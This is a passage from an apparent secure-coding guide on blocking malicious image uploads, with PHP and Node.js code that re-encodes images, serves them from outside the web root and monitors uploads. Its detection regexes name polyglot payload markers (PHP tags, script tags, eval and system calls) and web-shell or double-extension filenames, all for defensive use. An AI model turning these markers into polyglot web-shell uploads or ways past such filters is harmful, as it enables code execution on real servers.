        // 2. Check dimensions
        if ($imageInfo[0] > $this->maxWidth || $imageInfo[1] > $this->maxHeight) {
            throw new Exception('Image dimensions too large');
        }
        
        // 3. Create image resource (this validates the image structure)
        $sourceImage = $this->createImageResource($inputPath, $imageType);
        if ($sourceImage === false) {
            throw new Exception('Failed to create image resource');
        }
        
        // 4. Create clean image
        $width = imagesx($sourceImage);
        $height = imagesy($sourceImage);
        
        $cleanImage = imagecreatetruecolor($width, $height);
        
        // Handle transparency for PNG and GIF
        if ($imageType === IMAGETYPE_PNG || $imageType === IMAGETYPE_GIF) {
            $this->preserveTransparency($cleanImage, $sourceImage, $imageType);
        }
        
        // Copy pixel data (this strips all metadata and embedded content)
        imagecopy($cleanImage, $sourceImage, 0, 0, 0, 0, $width, $height);
        
        // 5. Save clean image
        $this->saveCleanImage($cleanImage, $outputPath, $imageType);
        
        // 6. Cleanup
        imagedestroy($sourceImage);
        imagedestroy($cleanImage);
        
        return $outputPath;
    }
    
    private function createImageResource($imagePath, $imageType) {
        switch ($imageType) {
            case IMAGETYPE_JPEG:
                return imagecreatefromjpeg($imagePath);
            case IMAGETYPE_PNG:
                return imagecreatefrompng($imagePath);
            case IMAGETYPE_GIF:
                return imagecreatefromgif($imagePath);
            default:
                return false;
        }
    }
    
    private function preserveTransparency($cleanImage, $sourceImage, $imageType) {
        if ($imageType === IMAGETYPE_PNG) {
            imagealphablending($cleanImage, false);
            imagesavealpha($cleanImage, true);
            $transparent = imagecolorallocatealpha($cleanImage, 255, 255, 255, 127);
            imagefill($cleanImage, 0, 0, $transparent);
        } elseif ($imageType === IMAGETYPE_GIF) {
            $transparentIndex = imagecolortransparent($sourceImage);
            if ($transparentIndex >= 0) {
                $transparentColor = imagecolorsforindex($sourceImage, $transparentIndex);
                $transparentNew = imagecolorallocate(
                    $cleanImage,
                    $transparentColor['red'],
                    $transparentColor['green'],
                    $transparentColor['blue']
                );
                imagefill($cleanImage, 0, 0, $transparentNew);
                imagecolortransparent($cleanImage, $transparentNew);
            }
        }
    }
    
    private function saveCleanImage($image, $outputPath, $imageType) {
        switch ($imageType) {
            case IMAGETYPE_JPEG:
                return imagejpeg($image, $outputPath, $this->jpegQuality);
            case IMAGETYPE_PNG:
                return imagepng($image, $outputPath, 6);
            case IMAGETYPE_GIF:
                return imagegif($image, $outputPath);
            default:
                return false;
        }
    }
    
    public function generateSecureFilename($originalName) {
        $extension = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
        $allowedExts = ['jpg', 'jpeg', 'png', 'gif'];
        
        if (!in_array($extension, $allowedExts)) {
            $extension = 'jpg'; // Default to JPEG
        }
        
        $timestamp = date('Y-m-d_H-i-s');
        $random = bin2hex(random_bytes(8));
        
        return "{$timestamp}_{$random}.{$extension}";
    }
}
3

Configure Secure Upload Environment and Serving

Store uploaded images outside the web root, disable script execution in upload directories, and serve images through a secure controller that validates access and sets appropriate headers to prevent code execution.

View implementation – JAVASCRIPT
// Node.js secure image serving implementation
const express = require('express');
const path = require('path');
const fs = require('fs');
const sharp = require('sharp');
const crypto = require('crypto');

class SecureImageServer {
    constructor() {
        this.imageDir = path.resolve(__dirname, '../secure_images'); // Outside web root
        this.allowedFormats = ['jpeg', 'png', 'gif', 'webp'];
        this.maxFileSize = 10 * 1024 * 1024; // 10MB
        
        this.ensureImageDirectory();
    }
    
    ensureImageDirectory() {
        if (!fs.existsSync(this.imageDir)) {
            fs.mkdirSync(this.imageDir, { recursive: true, mode: 0o755 });
        }
    }
    
    async processUploadedImage(file) {
        // Generate secure filename
        const secureFilename = this.generateSecureFilename(file.originalname);
        const tempPath = path.join(this.imageDir, 'temp_' + secureFilename);
        const finalPath = path.join(this.imageDir, secureFilename);
        
        try {
            // Save uploaded file temporarily
            fs.writeFileSync(tempPath, file.buffer);
            
            // Process and sanitize with Sharp
            const image = sharp(tempPath);
            const metadata = await image.metadata();
            
            // Validate format
            if (!this.allowedFormats.includes(metadata.format)) {
                throw new Error(`Unsupported format: ${metadata.format}`);
            }
            
            // Validate dimensions
            if (metadata.width > 8000 || metadata.height > 8000) {
                throw new Error('Image dimensions too large');
            }
            
            // Re-encode image to strip metadata and normalize
            await image
                .removeProfile() // Remove all metadata
                .jpeg({ quality: 85, mozjpeg: true })
                .toFile(finalPath);
            
            // Clean up temp file
            fs.unlinkSync(tempPath);
            
            return {
                filename: secureFilename,
                path: finalPath,
                size: fs.statSync(finalPath).size,
                format: 'jpeg', // Always convert to JPEG
                hash: await this.calculateFileHash(finalPath)
            };
            
        } catch (error) {
            // Clean up on error
            if (fs.existsSync(tempPath)) {
                fs.unlinkSync(tempPath);
            }
            if (fs.existsSync(finalPath)) {
                fs.unlinkSync(finalPath);
            }
            throw error;
        }
    }
    
    generateSecureFilename(originalName) {
        const timestamp = Date.now();
        const random = crypto.randomBytes(16).toString('hex');
        return `${timestamp}_${random}.jpg`; // Always use .jpg extension
    }
    
    async calculateFileHash(filePath) {
        const fileBuffer = fs.readFileSync(filePath);
        return crypto.createHash('sha256').update(fileBuffer).digest('hex');
    }
    
    serveImage(req, res, filename) {
        const imagePath = path.join(this.imageDir, filename);
        
        // Validate filename
        if (!this.isValidFilename(filename)) {
            return res.status(400).json({ error: 'Invalid filename' });
        }
        
        // Check if file exists
        if (!fs.existsSync(imagePath)) {
            return res.status(404).json({ error: 'Image not found' });
        }
        
        // Verify it's within the image directory
        const resolvedPath = path.resolve(imagePath);
        if (!resolvedPath.startsWith(this.imageDir)) {
            return res.status(403).json({ error: 'Access denied' });
        }
        
        // Set security headers
        res.setHeader('Content-Type', 'image/jpeg');
        res.setHeader('X-Content-Type-Options', 'nosniff');
        res.setHeader('Content-Disposition', 'inline');
        res.setHeader('Cache-Control', 'public, max-age=31536000'); // 1 year cache
        
        // Serve the file
        res.sendFile(resolvedPath);
    }
    
    isValidFilename(filename) {
        // Only allow our generated filename pattern
        const pattern = /^\d+_[a-f0-9]{32}\.jpg$/;
        return pattern.test(filename);
    }
    
    // Optional: Create thumbnails
    async createThumbnail(originalPath, size = 150) {
        const filename = path.basename(originalPath, '.jpg');
        const thumbnailPath = path.join(this.imageDir, `thumb_${size}_${filename}.jpg`);
        
        await sharp(originalPath)
            .resize(size, size, {
                fit: 'cover',
                position: 'center'
            })
            .jpeg({ quality: 80 })
            .toFile(thumbnailPath);
        
        return thumbnailPath;
    }
}

// Usage in Express app
const imageServer = new SecureImageServer();

// Upload endpoint
app.post('/upload-image', upload.single('image'), async (req, res) => {
    try {
        if (!req.file) {
            return res.status(400).json({ error: 'No image provided' });
        }
        
        const result = await imageServer.processUploadedImage(req.file);
        
        res.json({
            message: 'Image uploaded successfully',
            filename: result.filename,
            size: result.size,
            hash: result.hash
        });
        
    } catch (error) {
        console.error('Image upload error:', error.message);
        res.status(400).json({ error: error.message });
    }
});

// Serve endpoint
app.get('/image/:filename', (req, res) => {
    imageServer.serveImage(req, res, req.params.filename);
});
4

Implement Content Security Policy and Monitoring

Use Content Security Policy headers, implement real-time monitoring for suspicious upload patterns, and set up automated scanning for malicious content. Monitor for polyglot files and unusual metadata patterns.

View implementation – JAVASCRIPT
class ImageSecurityMonitor {
    constructor() {
        this.suspiciousPatterns = {
            polyglot: [
                /\xff\xd8\xff.*<\?php/s,
                /\x89PNG.*<script/s,
                /GIF8.*javascript:/s
            ],
            metadata: [
                /<script[^>]*>/i,
                /<iframe[^>]*>/i,
                /javascript:/i,
                /data:text\/html/i,
                /<\?php/i
            ],
            filestructure: [
                /PLTE.*<\?php/s,
                /tEXt.*eval\(/s,
                /iTXt.*system\(/s
            ]
        };
        
        this.uploadAttempts = new Map();
        this.maxAttempts = 5;
        this.timeWindow = 300000; // 5 minutes
    }
    
    analyzeUpload(file, userInfo) {
        const analysis = {
            timestamp: new Date(),
            filename: file.originalname,
            size: file.size,
            mimetype: file.mimetype,
            user: userInfo,
            threats: [],
            riskLevel: 'low'
        };
        
        // Check for polyglot patterns
        this.checkForPolyglot(file.buffer, analysis);
        
        // Analyze filename patterns
        this.analyzeFilename(file.originalname, analysis);
        
        // Check upload frequency
        this.checkUploadFrequency(userInfo, analysis);
        
        // Calculate risk level
        this.calculateRiskLevel(analysis);
        
        // Log analysis
        this.logAnalysis(analysis);
        
        // Take action if high risk
        if (analysis.riskLevel === 'high') {
            this.handleHighRiskUpload(analysis);
        }
        
        return analysis;
    }
    
    checkForPolyglot(buffer, analysis) {
        const content = buffer.toString('binary');
        
        for (const [category, patterns] of Object.entries(this.suspiciousPatterns)) {
            for (const pattern of patterns) {
                if (pattern.test(content)) {
                    analysis.threats.push({
                        type: 'polyglot',
                        category: category,
                        pattern: pattern.toString(),
                        severity: 'high'
                    });
                }
            }
        }
    }
    
    analyzeFilename(filename, analysis) {
        const suspiciousFilenames = [
            /\.(php|asp|jsp|pl|py|cgi)\.(jpg|png|gif)$/i,
            /\.jpg\.(php|asp|jsp)$/i,
            /shell|backdoor|webshell/i,
            /\.\./,
            /[\x00-\x1f]/
        ];
        
        for (const pattern of suspiciousFilenames) {
            if (pattern.test(filename)) {
                analysis.threats.push({
                    type: 'suspicious_filename',
                    pattern: pattern.toString(),
                    severity: 'medium'
                });
            }
        }
    }
    
    checkUploadFrequency(userInfo, analysis) {
        const userId = userInfo.id || userInfo.ip;
        const now = Date.now();
        
        if (!this.uploadAttempts.has(userId)) {
            this.uploadAttempts.set(userId, []);
        }
        
        const attempts = this.uploadAttempts.get(userId);
        
        // Remove old attempts
        const recentAttempts = attempts.filter(
            attempt => now - attempt < this.timeWindow
        );
        
        recentAttempts.push(now);
        this.uploadAttempts.set(userId, recentAttempts);
        
        if (recentAttempts.length > this.maxAttempts) {
            analysis.threats.push({
                type: 'high_frequency',
                count: recentAttempts.length,
                severity: 'medium'
            });
        }
    }
    
    calculateRiskLevel(analysis) {
        let score = 0;
        
        for (const threat of analysis.threats) {
            switch (threat.severity) {
                case 'high': score += 3; break;
                case 'medium': score += 2; break;
                case 'low': score += 1; break;
            }
        }
        
        if (score >= 5) {
            analysis.riskLevel = 'high';
        } else if (score >= 3) {
            analysis.riskLevel = 'medium';
        }
    }
    
    logAnalysis(analysis) {
        const logEntry = {
            timestamp: analysis.timestamp.toISOString(),
            user: analysis.user,
            filename: analysis.filename,
            threats: analysis.threats,
            riskLevel: analysis.riskLevel
        };
        
        // Log to file or external service
        console.log('Image upload analysis:', JSON.stringify(logEntry));
        
        // Send to SIEM if high risk
        if (analysis.riskLevel === 'high') {
            this.sendToSIEM(logEntry);
        }
    }
    
    handleHighRiskUpload(analysis) {
        console.error('HIGH RISK UPLOAD DETECTED:', analysis);
        
        // Quarantine the upload
        // Block the user temporarily
        // Alert security team
        // Increase monitoring for this user
        
        this.alertSecurityTeam(analysis);
    }
    
    sendToSIEM(logEntry) {
        // Send to Security Information and Event Management system
        console.log('SIEM Alert:', logEntry);
    }
    
    alertSecurityTeam(analysis) {
        console.log('SECURITY ALERT: Malicious image upload attempt');
        console.log('User:', analysis.user);
        console.log('Threats:', analysis.threats);
    }
    
    generateCSPHeaders() {
        return {
            'Content-Security-Policy': [
                "default-src 'self'",
                "img-src 'self' data:",
                "script-src 'self'",
                "style-src 'self' 'unsafe-inline'",
                "object-src 'none'",
                "base-uri 'self'",
                "frame-ancestors 'none'"
            ].join('; '),
            'X-Content-Type-Options': 'nosniff',
            'X-Frame-Options': 'DENY',
            'X-XSS-Protection': '1; mode=block'
        };
    }
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies malicious image upload leading to code execution and many other security issues in your codebase.